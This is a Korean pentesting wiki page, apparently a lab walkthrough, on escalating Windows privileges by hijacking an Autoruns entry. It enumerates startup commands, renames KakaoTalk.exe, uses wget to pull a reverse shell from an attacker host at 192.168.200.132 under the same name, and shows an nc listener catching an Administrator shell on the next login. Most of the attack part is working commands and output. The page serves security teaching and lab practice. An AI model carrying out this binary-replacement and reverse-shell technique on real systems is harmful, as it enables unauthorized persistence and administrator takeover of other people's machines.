펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Windows

Autoruns

Windows에서는 장치가 부팅되거나, 사용자가 로그인 했을 때 자동으로 프로그램을 실행하는 기능입니다. 기본적으로 파워쉘 환경에서는 아래의 명령으로 등록된 자동 스케줄 목록을 확인할 수 있습니다.

# 명령어
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

# 실습
Name     : KakaoTalk
Command  : "C:\Program Files (x86)\Kakao\KakaoTalk\KakaoTalk.exe" -bystartup
Location : HKU\S-1-5-21-1865062479-2107738167-63151596-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : \Administrator

실습 환경에서는 Administrator 사용자가 로그인을 다시 할 때마다 KakaoTalk.exe 파일이 실행됩니다. icals 등을 통해서 해당 디렉토리에 쓰기 권한이 있을 때 해당 위치의 실행 파일 이름과 동일하게 작성한 리버스 쉘을 작성하면 사용자가 로그인 했을 때, 스케줄 등록 주체의 쉘을 획득할 수 있습니다.

Practice

먼저 자동화가 등록된 실행 파일의 디렉토리에서 쓰기 권한이 있는지를 확인한 후 쓰기 권한이 있는 디렉토리에서 덮어 쓸 실행 파일을 다른 이름으로 백업합니다. 이후 리버스 쉘 실행파일을 생성한 뒤 등록된 실행 프로그램의 이름으로 업로드합니다.

PS C:\Program Files (x86)\Kakao\KakaoTalk> mv KakaoTalk.exe KakaoTalkBak.exe
mv KakaoTalk.exe KakaoTalkBak.exe
PS C:\Program Files (x86)\Kakao\KakaoTalk> wget http://192.168.200.132/KakaoTalk.exe -OutFile ./KakaoTalk.exe
wget http://192.168.200.132/Reverse.exe -OutFile ./KakaoTalk.exe
PS C:\Program Files (x86)\Kakao\KakaoTalk> ls
ls

    ͸: C:\Program Files (x86)\Kakao\KakaoTalk

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                               
d-----      2024-09-08    1:35                resource                                                             
...                                                                                   
-a----      2024-11-23    3:07          73802 KakaoTalk.exe                          
-a----      2024-11-08   11:07       28562472 KakaoTalkBak.exe                                 

이후 등록 주체의 컴퓨터를 종료하거나 로그아웃 후, 다시 로그인을 하게 되면 실행 주체였던 Administrator의 쉘이 획득됩니다.

└─# nc -lvnp 9999                                                                                             
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 49884
Microsoft Windows [Version 10.0.26100.2454]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
\administrator

References

PreviousAlways Install ElevatedNextCredential Manager

Last updated 1 month ago

Was this helpful?

Windows Privilege Escalation - Exploiting Autorun - StefLan's Security BlogStefLan's Security Blog
Privilege Escalation with AutorunsHackTricks
Logo
Logo